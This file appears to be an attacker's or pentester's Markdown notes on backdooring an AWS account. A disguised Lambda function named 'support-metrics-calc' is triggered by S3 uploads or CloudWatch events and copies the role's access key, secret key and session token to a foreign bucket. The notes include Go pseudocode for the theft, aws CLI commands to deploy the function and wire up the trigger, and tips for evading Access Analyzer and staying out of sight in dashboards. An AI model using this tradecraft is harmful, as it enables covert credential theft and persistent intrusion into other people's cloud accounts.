46 lines
2.0 KiB
Markdown
46 lines
2.0 KiB
Markdown
- Lambda functions
|
||
- Trigger on a specific event, such as new items being added to an S3 bucket or a CloudWatch event whenever your compromised credentials get rotated.
|
||
- The downside to CloudWatch is that only one lambda is allowed per log group and it is easily visible in the CloudWatch dashboard.
|
||
- S3 dashboard makes it less obvious.
|
||
- Access Analyzer will be concerned by creating new users or granting permissions to foreign users
|
||
- Use something like uploading lambda role credentials to a foreign bucket
|
||
- Golang Pseudocode:
|
||
```Go
|
||
accessKey := fmt.Sprintf(`
|
||
AWS_ACCESS_KEY_ID=%s
|
||
AWS_SECRET_ACCESS_KEY=%s
|
||
AWS_SESSION_TOKEN=%s"`,
|
||
os.Getenv("AWS_ACCESS_KEY_ID"),
|
||
os.Getenv("AWS_SECRET_ACCESS_KEY"),
|
||
os.Getenv("AWS_SESSION_TOKEN"),
|
||
)
|
||
uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)
|
||
```
|
||
|
||
- Create lambda function
|
||
- `aws lambda create-function --function-name support-metrics-calc --zip-file fileb://function.zip --handler function --runtime go1.x --role <desired_role> --region <region>`
|
||
- Create trigger event on upload of file to s3
|
||
- `aws lambda add-permission --function-name <desired_func_name> --region <region> --statement-id <arbitrary_unique_name> --action "lambda:InvokeFunction" --principal s3.amazonaws.com --source-arn arn:aws:s3:::s4d.mxrads.com --source-account <account_id> --profile <profile_name>`
|
||
- Set bucket rule that only triggers events on certain items being uploaded (starting with "2")
|
||
- `aws s3api put-bucket-notification-configuration --region <region> --bucket <bucket_name> --profile <profile_name> --notification-configuration file://config.json`
|
||
- Example rule config
|
||
```JSON
|
||
{
|
||
"LambdaFunctionConfigurations": [{
|
||
"Id": "s3InvokeLambda12",
|
||
"LambdaFunctionArn": "arn:aws:lambda:eu-west-1:886371554408
|
||
:function:support-metrics-calc",
|
||
"Events": ["s3:ObjectCreated:*"],
|
||
"Filter": {
|
||
"Key": {
|
||
"FilterRules": [{
|
||
"Name": "prefix",
|
||
"Value": "2"
|
||
}]
|
||
}
|
||
}
|
||
}]
|
||
}
|
||
```
|
||
|
||
- |